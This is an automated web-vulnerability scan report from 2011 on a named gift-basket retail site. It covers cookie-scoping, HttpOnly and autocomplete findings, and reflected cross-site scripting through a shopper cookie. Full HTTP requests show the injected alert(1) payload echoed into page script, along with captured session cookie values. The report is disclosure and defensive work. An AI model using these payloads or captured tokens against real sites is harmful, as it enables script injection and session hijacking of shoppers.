XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, ww30.1800baskets.com

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Mon May 09 07:25:30 CDT 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

1. Cookie scoped to parent domain

2. Cookie without HttpOnly flag set

2.1. http://ww30.1800baskets.com/deliverycalendarnew.do

2.2. http://ww30.1800baskets.com/include/cookieCloner.asp

2.3. http://ww30.1800baskets.com/shoppingbasket.do

2.4. http://ww30.1800baskets.com/template.do

3. Password field with autocomplete enabled

4. Cross-site scripting (reflected)

4.1. http://ww30.1800baskets.com/product.do [ShopperManagerEnterprise cookie]

4.2. http://ww30.1800baskets.com/product.do [ShopperManagerEnterprise cookie]

4.3. http://ww30.1800baskets.com/shoppingbasket.do [ShopperManagerEnterprise cookie]

4.4. http://ww30.1800baskets.com/shoppingbasket.do [ShopperManagerEnterprise cookie]

4.5. http://ww30.1800baskets.com/template.do [ShopperManagerEnterprise cookie]

5. Cross-domain Referer leakage

5.1. http://ww30.1800baskets.com/deliverycalendarnew.do

5.2. http://ww30.1800baskets.com/product.do

5.3. http://ww30.1800baskets.com/template.do

6. Cross-domain script include

6.1. http://ww30.1800baskets.com/deliverycalendarnew.do

6.2. http://ww30.1800baskets.com/product.do

6.3. http://ww30.1800baskets.com/shoppingbasket.do

6.4. http://ww30.1800baskets.com/template.do

7. Robots.txt file



1. Cookie scoped to parent domain  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://ww30.1800baskets.com
Path:   /include/cookieCloner.asp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /include/cookieCloner.asp?tablink=true&redirecturl=template.do?id=template3&page=2000&persistent=847b741e4593439b8e3ed6040ba46630&shopperid=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618&brandCode=1001&banner= HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800flowers.com/collection.do?dataset=10305
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Mon, 09 May 2011 01:15:57 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Location: http://ww30.1800baskets.com/template.do?id=template3&page=2000
Content-Length: 0
Set-Cookie: JSESSIONID=0000s_k0fIDZcMvgOtLcaDZHOiR:-1; Path=/
Set-Cookie: ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; Expires=Thu, 06-May-21 01:15:56 GMT; Path=/; Domain=1800baskets.com
Set-Cookie: FSESSIONID=847b741e4593439b8e3ed6040ba46630; Path=/; Domain=1800baskets.com
Set-Cookie: brandCode=1001; Path=/; Domain=1800baskets.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/plain
Content-Language: en-US


2. Cookie without HttpOnly flag set  previous  next
There are 4 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://ww30.1800baskets.com/deliverycalendarnew.do  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://ww30.1800baskets.com
Path:   /deliverycalendarnew.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /deliverycalendarnew.do?month=5&year=2011&locationType=1&itemCount=1&prodType=GPT&productPrice=29.99&zip=10010&country=&productSKU=93260&contextPageType=PRODUCT&isGeoSell=false&field=deliveryDate&baseCode=93260&nextMonthAvailableCheck=true&page=product HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/product.do?baseCode=93260&dataset=11309
Origin: http://ww30.1800baskets.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000MKdbdCo70zXsBXxIys-COzm:-1; ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; cmTPSet=Y; CMAVID=70091303843240316067555; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; __unam=bbc31a8-12fd24e67c1-26d7039-1; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.2.10.1304903358; CoreAt=90074784=1|2|0|0|0|0|0|1|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903446336&t2=1304903453532&t3=1304903453756&t4=1304903443093&lti=1304903453755&ln=sd&hr=javascript%3AcheckNShowAppParamLightBoxCalendar%28deliveryDate%2Ctrue%29%3B&fti=&fn=searchform%3A0%3BproductForm%3A1%3Bsigninform%3A2%3Bfindgiftform%3A3%3BUNDEFINED%3A4%3B&ac=&fd=&uer=&fu=&pi=PRODUCT%3A%20The%20Popcorn%20Factory%20Party%20Pup%20Snack%20Tin%20%2893260%29&ho=blooms.1800flowers.com/cm%3F&ci=90074784
Content-Length: 0

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:18:13 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=00001N288SgFQQcgjdh8LBTc6IT:-1; Path=/
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 52934


<html>
<head>    
<link rel="stylesheet" type="text/css" href="http://media1.1800flowers.com/800f_assets/jet/website/styles/baskets/flowers_enterprise_apr1.css"/>

<script type="text
...[SNIP]...

2.2. http://ww30.1800baskets.com/include/cookieCloner.asp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://ww30.1800baskets.com
Path:   /include/cookieCloner.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /include/cookieCloner.asp?tablink=true&redirecturl=template.do?id=template3&page=2000&persistent=847b741e4593439b8e3ed6040ba46630&shopperid=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618&brandCode=1001&banner= HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800flowers.com/collection.do?dataset=10305
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Mon, 09 May 2011 01:15:57 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Location: http://ww30.1800baskets.com/template.do?id=template3&page=2000
Content-Length: 0
Set-Cookie: JSESSIONID=0000s_k0fIDZcMvgOtLcaDZHOiR:-1; Path=/
Set-Cookie: ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; Expires=Thu, 06-May-21 01:15:56 GMT; Path=/; Domain=1800baskets.com
Set-Cookie: FSESSIONID=847b741e4593439b8e3ed6040ba46630; Path=/; Domain=1800baskets.com
Set-Cookie: brandCode=1001; Path=/; Domain=1800baskets.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/plain
Content-Language: en-US


2.3. http://ww30.1800baskets.com/shoppingbasket.do  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://ww30.1800baskets.com
Path:   /shoppingbasket.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /shoppingbasket.do HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/product.do?baseCode=93260&dataset=11309
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; cmTPSet=Y; CMAVID=70091303843240316067555; __unam=bbc31a8-12fd24e67c1-26d7039-1; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.2.10.1304903358; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; CoreAt=90074784=1|2|0|0|0|0|0|1|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903446336&t2=1304903453532&t3=1304903458838&t4=1304903443093&lti=1304903458838&ln=verify&hr=javascript%3AcheckNSubmit%28false%29&fti=1304903458845&fn=searchform%3A0%3BproductForm%3A1%3Bsigninform%3A2%3Bfindgiftform%3A3%3BUNDEFINED%3A4%3B&ac=1:S&fd=1%3A22%3AlocationCode%3B&uer=&fu=/product.do&pi=PRODUCT%3A%20The%20Popcorn%20Factory%20Party%20Pup%20Snack%20Tin%20%2893260%29&ho=blooms.1800flowers.com/cm%3F&ci=90074784; JSESSIONID=0000a4jGFqAQQsPqkpo4AlBHArV:-1

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:18:26 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=0000elBrn4hw6Blclz2pBq53Rgi:-1; Path=/
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 146143


           <html>
<head>

   <meta http-equiv="Pragma" content="no-cache">
   <meta http-equiv="Cache-Control" content="no-cache">
   <meta http-equiv="Expir
...[SNIP]...

2.4. http://ww30.1800baskets.com/template.do  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://ww30.1800baskets.com
Path:   /template.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /template.do?id=template3&page=2000 HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800flowers.com/collection.do?dataset=10305
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000MKdbdCo70zXsBXxIys-COzm:-1; ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:16:16 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Set-Cookie: JSESSIONID=0000dNGqKXu-V4E9FonaYphG7gq:-1; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 37878


<html>
<head>

<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">


<title></title>
<meta name="description" content="ThePopco
...[SNIP]...

3. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /product.do

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

POST /product.do HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/product.do?baseCode=93260&dataset=11309
Cache-Control: max-age=0
Origin: http://ww30.1800baskets.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; cmTPSet=Y; CMAVID=70091303843240316067555; __unam=bbc31a8-12fd24e67c1-26d7039-1; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.2.10.1304903358; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; JSESSIONID=0000jc-mR2VDw7uBY5v5sZbAO-H:-1; CoreAt=90074784=1|2|0|0|0|0|0|1|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903446336&t2=1304903453532&t3=1304903458838&t4=1304903443093&lti=1304903458838&ln=verify&hr=javascript%3AcheckNSubmit%28false%29&fti=1304903458845&fn=searchform%3A0%3BproductForm%3A1%3Bsigninform%3A2%3Bfindgiftform%3A3%3BUNDEFINED%3A4%3B&ac=1:S&fd=1%3A22%3AlocationCode%3B&uer=&fu=/product.do&pi=PRODUCT%3A%20The%20Popcorn%20Factory%20Party%20Pup%20Snack%20Tin%20%2893260%29&ho=blooms.1800flowers.com/cm%3F&ci=90074784
Content-Length: 660

delDateColl=&personalizable=false&submitForm=&personalComment=&personalCount=&generalProductDataset=11097&hospitalDataset=11096&funeralHomeDataset=11092&ruralRouteDataset=11093&dataset=11309&channel=&
...[SNIP]...

Response

HTTP/1.1 500 Internal Server Error
Date: Mon, 09 May 2011 01:18:24 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 34787


<html>
<head>

<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<meta name="robots" content="noindex,nofollow"/>


<title>Error Occurr
...[SNIP]...
</tr>
                               <form action="https://ww30.1800baskets.com/signinaction.do" method="post" name="welcomesignin">
                                   
                                       <input type="hidden" name="welcomePage" value="error.do" />
...[SNIP]...
<br>
                                    <input type="password" style="width:100px" name="password" class="textfield" maxlength="64" onkeypress="if(event.keyCode==13){document.forms['welcomesignin'].submit();}" /><a class="arrowlink" href="javascript:document.forms['welcomesignin'].submit()">
...[SNIP]...

4. Cross-site scripting (reflected)  previous  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


4.1. http://ww30.1800baskets.com/product.do [ShopperManagerEnterprise cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /product.do

Issue detail

The value of the ShopperManagerEnterprise cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4c266'-alert(1)-'ef80968ac09 was submitted in the ShopperManagerEnterprise cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /product.do?baseCode=93260&dataset=11309 HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/template.do?id=template3&page=2000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000MKdbdCo70zXsBXxIys-COzm:-1; ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e6184c266'-alert(1)-'ef80968ac09; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.1.10.1304903358; cmTPSet=Y; CMAVID=70091303843240316067555; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; CoreAt=90074784=1|1|0|0|0|0|0|0|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903358829&t2=1304903368545&t3=1304903441095&lti=1304903441095&ln=&hr=/product.do%3FbaseCode%3D93260%26dataset%3D11309&fti=&fn=searchform%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=18B%3Atemplate-The%20Popcorn%20Factory&ho=blooms.1800flowers.com/cm%3F&ci=90074784&ul=http%3A//ww30.1800baskets.com/template.do%3Fid%3Dtemplate3%26page%3D2000&rf=http%3A//ww30.1800flowers.com/collection.do%3Fdataset%3D10305

Response

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:19:00 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 83754


                                                <html xmlns="http://www.w3.org/1999/xhtml"
    xmlns:og="http://ogp.me/ns#"
    xmlns:fb="http://www.face
...[SNIP]...
<!--

lpAddVars('visitor','VisitorID','aed35ad7-54a3-48bc-a8e0-0c9f3d76e6184c266'-alert(1)-'ef80968ac09');

lpAddVars('page','pageid','product');

//-->
...[SNIP]...

4.2. http://ww30.1800baskets.com/product.do [ShopperManagerEnterprise cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /product.do

Issue detail

The value of the ShopperManagerEnterprise cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a76bd'-alert(1)-'3d6fc46faa6e9ceca was submitted in the ShopperManagerEnterprise cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /product.do?delDateColl=&personalizable=false&submitForm=&personalComment=&personalCount=&generalProductDataset=11097&hospitalDataset=11096&funeralHomeDataset=11092&ruralRouteDataset=11093&dataset=11309&channel=&landing=&cm_cid=&sku=93260&quantity=1&recipient=-3&international=false&sympathy=false&zipCode=10010&recipientText=&recipient=-3&productType=GPT&locationCode=1&deliveryDate=Friday%2C+May.+20th&deliveryMonth=5&deliveryDay=20&deliveryYear=2011&baseCode=93260&actionEvent=upgrade&flexFlag=false&gptCode=geoSellCode&showAddon=&deliveryDateSelect=&setAlternates=&showAlternates=&contextPageType=PRODUCT&surchargeOnlyOptionId=&flexValue=&flexOptionId=&isGeoSell=false HTTP/1.1
Host: ww30.1800baskets.com
Proxy-Connection: keep-alive
Referer: http://ww30.1800baskets.com/product.do?baseCode=93260&dataset=11309
Cache-Control: max-age=0
Origin: http://ww30.1800baskets.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ShopperManagerEnterprise=aed35ad7-54a3-48bc-a8e0-0c9f3d76e618a76bd'-alert(1)-'3d6fc46faa6e9ceca; FSESSIONID=847b741e4593439b8e3ed6040ba46630; brandCode=1001; __utmz=1.1304903358.1.1.utmcsr=ww30.1800flowers.com|utmccn=(referral)|utmcmd=referral|utmcct=/collection.do; cmTPSet=Y; CMAVID=70091303843240316067555; __unam=bbc31a8-12fd24e67c1-26d7039-1; __utma=1.534657557.1304903358.1304903358.1304903358.1; __utmc=1; __utmb=1.2.10.1304903358; 87011923-VID=16601209214853; 87011923-SKEY=6825682268674136395; HumanClickSiteContainerID_87011923=STANDALONE; JSESSIONID=0000jc-mR2VDw7uBY5v5sZbAO-H:-1; CoreAt=90074784=1|2|0|0|0|0|0|1|0|0|0|0|1|1304903358|1_|1561_&; cmRS=&t1=1304903446336&t2=1304903453532&t3=1304903458838&t4=1304903443093&lti=1304903458838&ln=verify&hr=javascript%3AcheckNSubmit%28false%29&fti=1304903458845&fn=searchform%3A0%3BproductForm%3A1%3Bsigninform%3A2%3Bfindgiftform%3A3%3BUNDEFINED%3A4%3B&ac=1:S&fd=1%3A22%3AlocationCode%3B&uer=&fu=/product.do&pi=PRODUCT%3A%20The%20Popcorn%20Factory%20Party%20Pup%20Snack%20Tin%20%2893260%29&ho=blooms.1800flowers.com/cm%3F&ci=90074784

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 09 May 2011 01:29:00 GMT
Server: IBM_HTTP_Server
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAa IVDa CONo HISa TELo OUR DELa SAMo UNRo OTRo IND UNI NAV"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=0000XUNWu9J-txAe1nRFBC2FfiX:-1; Path=/
Vary: Accept-Encoding
X-Powered-By: 1800Flowers web server
X-AspNet-Version: 1.21.366
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 31981


           <html>
<head>

   <meta http-equiv="Pragma" content="no-cache">
   <meta http-equiv="Cache-Control" content="no-cache">
   <meta http-equiv="Expir
...[SNIP]...
<!--

lpAddVars('visitor','VisitorID','aed35ad7-54a3-48bc-a8e0-0c9f3d76e618a76bd'-alert(1)-'3d6fc46faa6e9ceca');

lpAddVars('page','pageid','shoppingbasket');

//-->
...[SNIP]...

4.3. http://ww30.1800baskets.com/shoppingbasket.do [ShopperManagerEnterprise cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ww30.1800baskets.com
Path:   /shoppingbasket.do

Issue detail

